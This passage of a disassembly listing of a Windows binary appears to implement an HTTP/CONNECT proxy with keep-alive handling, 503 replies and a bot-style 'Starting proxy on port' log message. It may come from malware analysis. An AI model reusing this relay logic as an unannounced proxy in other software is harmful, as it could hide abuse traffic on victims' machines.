ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_4298BA mov dword ptr [esp+10Ch], 50h loc_4298BA: ; CODE XREF: ___:004296C0j ; ___:0042970Cj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A53E push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A52D lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471E4 ; "\r\n" loc_429981: ; CODE XREF: ___:0042999Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_4299A5 test cl, cl jz short loc_4299A1 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_4299A5 add eax, 2 add esi, 2 test cl, cl jnz short loc_429981 loc_4299A1: ; CODE XREF: ___:0042998Bj xor eax, eax jmp short loc_4299A9 ; --------------------------------------------------------------------------- loc_4299A5: ; CODE XREF: ___:00429987j ; ___:00429995j sbb eax, eax sbb eax, ebx loc_4299A9: ; CODE XREF: ___:004299A3j test eax, eax jz loc_429A83 mov edi, dword_511AD8 loc_4299B7: ; CODE XREF: ___:00429A7Dj mov esi, offset byte_448F30 lea eax, [esp+4498h] loc_4299C3: ; CODE XREF: ___:004299E1j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_4299E7 test cl, cl jz short loc_4299E3 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_4299E7 add eax, 2 add esi, 2 test cl, cl jnz short loc_4299C3 loc_4299E3: ; CODE XREF: ___:004299CDj xor eax, eax jmp short loc_4299EB ; --------------------------------------------------------------------------- loc_4299E7: ; CODE XREF: ___:004299C9j ; ___:004299D7j sbb eax, eax sbb eax, ebx loc_4299EB: ; CODE XREF: ___:004299E5j test eax, eax jz loc_429A83 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A589 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi push 4000h lea ecx, [esp+4A8h] push offset asc_4471E4 ; "\r\n" push ecx call edi add esp, 18h mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+4498h] loc_429A53: ; CODE XREF: ___:00429A71j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A77 test cl, cl jz short loc_429A73 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A77 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A53 loc_429A73: ; CODE XREF: ___:00429A5Dj xor eax, eax jmp short loc_429A7B ; --------------------------------------------------------------------------- loc_429A77: ; CODE XREF: ___:00429A59j ; ___:00429A67j sbb eax, eax sbb eax, ebx loc_429A7B: ; CODE XREF: ___:00429A75j test eax, eax jnz loc_4299B7 loc_429A83: ; CODE XREF: ___:004299ABj ; ___:004299EDj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi add esp, 8 test eax, eax jz short loc_429AD7 push offset asc_444C64 ; ":" push eax call esi add esp, 8 inc eax jz short loc_429AD7 cmp byte ptr [eax], 20h jnz short loc_429ABB loc_429AB2: ; CODE XREF: ___:00429AB9j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429AB2 loc_429ABB: ; CODE XREF: ___:00429AB0j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_429AD7 mov byte ptr [ebp+0BAh], 1 jmp short loc_429ADE ; --------------------------------------------------------------------------- loc_429AD7: ; CODE XREF: ___:00429A9Dj ; ___:00429AABj ... mov byte ptr [ebp+0BAh], 0 loc_429ADE: ; CODE XREF: ___:00429AD5j cmp [ebp+0BFh], ebx jnz loc_429B76 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A65D mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx nop call near ptr 71AB2B66h lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A59B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx call near ptr 71AB406Ah nop cmp eax, ebx jz loc_42A5F8 loc_429B76: ; CODE XREF: ___:00429AE4j mov al, [esp+13h] test al, al jz loc_42A21E mov al, [ebp+0BAh] test al, al jz short loc_429BC1 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429BF4 ; --------------------------------------------------------------------------- loc_429BC1: ; CODE XREF: ___:00429B8Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429BF4: ; CODE XREF: ___:00429BBFj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_42A642 cmp eax, ebx jz loc_42A642 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A66F mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop xor ebx, ebx mov esi, offset asc_4471E4 ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429CBE: ; CODE XREF: ___:00429CDCj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429CE2 test cl, cl jz short loc_429CDE mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429CE2 add eax, 2 add esi, 2 test cl, cl jnz short loc_429CBE loc_429CDE: ; CODE XREF: ___:00429CC8j xor eax, eax jmp short loc_429CE7 ; --------------------------------------------------------------------------- loc_429CE2: ; CODE XREF: ___:00429CC4j ; ___:00429CD2j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429CE7: ; CODE XREF: ___:00429CE0j test eax, eax jz loc_42A069 loc_429CEF: ; CODE XREF: ___:0042A058j mov esi, offset byte_448F30 lea eax, [esp+498h] loc_429CFB: ; CODE XREF: ___:00429D1Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429D23 test cl, cl jz short loc_429D1F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429D23 add eax, 2 add esi, 2 test cl, cl jnz short loc_429CFB loc_429D1F: ; CODE XREF: ___:00429D07j xor eax, eax jmp short loc_429D28 ; --------------------------------------------------------------------------- loc_429D23: ; CODE XREF: ___:00429D03j ; ___:00429D13j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D28: ; CODE XREF: ___:00429D21j test eax, eax jz loc_42A065 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A060 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429E0A push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429E0A: ; CODE XREF: ___:00429DBCj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429E99 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429E99: ; CODE XREF: ___:00429E54j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F34 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429F34: ; CODE XREF: ___:00429EE3j mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+498h] loc_429F40: ; CODE XREF: ___:00429F62j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429F68 test cl, cl jz short loc_429F64 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429F68 add eax, 2 add esi, 2 test cl, cl jnz short loc_429F40 loc_429F64: ; CODE XREF: ___:00429F4Cj xor eax, eax jmp short loc_429F6D ; --------------------------------------------------------------------------- loc_429F68: ; CODE XREF: ___:00429F48j ; ___:00429F58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429F6D: ; CODE XREF: ___:00429F66j test eax, eax jz loc_42A009 mov esi, offset byte_448F30 lea eax, [esp+498h] loc_429F81: ; CODE XREF: ___:00429FA3j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429FA9 test cl, cl jz short loc_429FA5 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429FA9 add eax, 2 add esi, 2 test cl, cl jnz short loc_429F81 loc_429FA5: ; CODE XREF: ___:00429F8Dj xor eax, eax jmp short loc_429FAE ; --------------------------------------------------------------------------- loc_429FA9: ; CODE XREF: ___:00429F89j ; ___:00429F99j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429FAE: ; CODE XREF: ___:00429FA7j test eax, eax jz short loc_42A009 mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A009: ; CODE XREF: ___:00429F6Fj ; ___:00429FB0j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471E4 ; "\r\n" lea eax, [esp+498h] loc_42A029: ; CODE XREF: ___:0042A04Bj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A051 test cl, cl jz short loc_42A04D mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A051 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A029 loc_42A04D: ; CODE XREF: ___:0042A035j xor eax, eax jmp short loc_42A056 ; --------------------------------------------------------------------------- loc_42A051: ; CODE XREF: ___:0042A031j ; ___:0042A041j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A056: ; CODE XREF: ___:0042A04Fj test eax, eax jnz loc_429CEF jmp short loc_42A065 ; --------------------------------------------------------------------------- loc_42A060: ; CODE XREF: ___:00429D50j mov byte ptr [esp+12h], 1 loc_42A065: ; CODE XREF: ___:00429D2Aj ; ___:0042A05Ej mov ebx, [esp+2Ch] loc_42A069: ; CODE XREF: ___:00429CE9j mov al, [esp+11h] push 0 test al, al jz short loc_42A091 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A0AD ; --------------------------------------------------------------------------- loc_42A091: ; CODE XREF: ___:0042A071j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A0AD: ; CODE XREF: ___:0042A08Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471E4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx call near ptr 71AB428Ah nop test ebx, ebx jz loc_42A1DC xor edi, edi test ebx, ebx jle short loc_42A164 loc_42A113: ; CODE XREF: ___:0042A162j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A164 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A164 cmp esi, 0FFFFFFFFh jz short loc_42A164 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx call near ptr 71AB428Ah nop add edi, esi cmp edi, ebx jl short loc_42A113 loc_42A164: ; CODE XREF: ___:0042A111j ; ___:0042A11Cj ... mov eax, ebx sub eax, edi jz short loc_42A1AE loc_42A16A: ; CODE XREF: ___:0042A1ACj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax call near ptr 71AB615Ah nop mov esi, eax cmp esi, 1 jl short loc_42A1AE cmp esi, 0FFFFFFFFh jz short loc_42A1AE mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx call near ptr 71AB428Ah nop add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A16A loc_42A1AE: ; CODE XREF: ___:0042A168j ; ___:0042A187j ... mov al, [ebp+0BAh] test al, al jnz loc_42A43F mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A442 ; --------------------------------------------------------------------------- loc_42A1DC: ; CODE XREF: ___:0042A107j mov esi, dword_511CA4 loc_42A1E2: ; CODE XREF: ___:0042A21Cj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi cmp eax, 1 jl short loc_42A1AE cmp eax, 0FFFFFFFFh jz short loc_42A1AE push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax call near ptr 71AB428Ah nop jmp short loc_42A1E2 ; --------------------------------------------------------------------------- loc_42A21E: ; CODE XREF: ___:00429B7Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A290: ; CODE XREF: ___:0042A29Bj cmp [ecx], edx jz short loc_42A29D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A290 loc_42A29D: ; CODE XREF: ___:0042A292j cmp eax, 1 jnz short loc_42A2B4 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A2B4: ; CODE XREF: ___:0042A2A0j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 63E89051h, 8371689Fh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DF12h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689F0Ah dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F11EE890h, 333D7168h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F0CAE890h, 333D7168h dd 75000027h, 90016A0Dh, 405F65E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A43F: ; CODE XREF: ___:0042A1B6j or esi, 0FFFFFFFFh loc_42A442: ; CODE XREF: ___:0042A1D7j mov al, [esp+11h] test al, al jnz short loc_42A462 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A462: ; CODE XREF: ___:0042A448j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A4D0: ; CODE XREF: ___:004295FBj mov al, [esp+12h] test al, al jz loc_429548 loc_42A4DC: ; CODE XREF: ___:0042A584j ; ___:0042A6DDj mov al, [ebp+0BAh] test al, al jz short loc_42A4F9 mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop mov [ebp+0BBh], esi loc_42A4F9: ; CODE XREF: ___:0042A4E4j mov al, [esp+11h] test al, al jz short loc_42A514 mov ecx, [ebp+0BFh] push ecx call near ptr 71AB9639h nop mov [ebp+0BFh], esi loc_42A514: ; CODE XREF: ___:0042A4FFj ; ___:0042A765j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A52D: ; CODE XREF: ___:0042991Aj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A53E: ; CODE XREF: ___:004298E7j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A54F: ; CODE XREF: ___:004296A1j ; ___:004296BAj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A560: ; CODE XREF: ___:00429595j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A4DC ; --------------------------------------------------------------------------- loc_42A589: ; CODE XREF: ___:00429A13j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_42A6FA ; --------------------------------------------------------------------------- loc_42A59B: ; CODE XREF: ___:00429B54j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi mov ecx, [ebp+0BFh] push ecx jmp loc_42A6F8 ; --------------------------------------------------------------------------- loc_42A5F8: ; CODE XREF: ___:00429B70j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_42A642: ; CODE XREF: ___:00429C21j ; ___:00429C29j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi mov eax, [ebp+0BFh] push eax jmp loc_42A6F8 ; --------------------------------------------------------------------------- loc_42A65D: ; CODE XREF: ___:00429AFEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_42A6FA ; --------------------------------------------------------------------------- loc_42A66F: ; CODE XREF: ___:00429C4Fj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A4DC ; --------------------------------------------------------------------------- loc_42A6E2: ; CODE XREF: ___:0042A255j ; ___:0042A25Dj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi mov edx, [ebp+0BFh] push edx loc_42A6F8: ; CODE XREF: ___:0042A5F3j ; ___:0042A658j call esi loc_42A6FA: ; CODE XREF: ___:0042A596j ; ___:0042A66Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A514 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AC10 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AC10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42AC10 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AC80 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42AC80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_42ACA3: ; CODE XREF: sub_42AC80+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42ACCA mov ecx, [edi+3Bh] push ecx call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_42ACA3 loc_42ACCA: ; CODE XREF: sub_42AC80+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_42AD9C push ebp push esi loc_42ACE0: ; CODE XREF: sub_42AC80+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_42AD7B test ebp, ebp jz short loc_42AD7B push 0C3h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_42AD26 mov ecx, eax call sub_401893 mov esi, eax jmp short loc_42AD28 ; --------------------------------------------------------------------------- loc_42AD26: ; CODE XREF: sub_42AC80+99j xor esi, esi loc_42AD28: ; CODE XREF: sub_42AC80+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FDC mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013DE jmp short loc_42AD86 ; --------------------------------------------------------------------------- loc_42AD7B: ; CODE XREF: sub_42AC80+74j ; sub_42AC80+7Cj push 0FAh nop call near ptr 2830386h loc_42AD86: ; CODE XREF: sub_42AC80+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_42ACE0 pop esi pop ebp loc_42AD9C: ; CODE XREF: sub_42AC80+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_42ADAE push edi nop call near ptr 71AB9639h loc_42ADAE: ; CODE XREF: sub_42AC80+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_42AC80 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42AE10 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_42AE38 call sub_4017EE push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_42AE43 ; --------------------------------------------------------------------------- loc_42AE38: ; CODE XREF: sub_42AE10+19j call sub_4017EE push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_42AE43: ; CODE XREF: sub_42AE10+26j mov ecx, ebx call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset 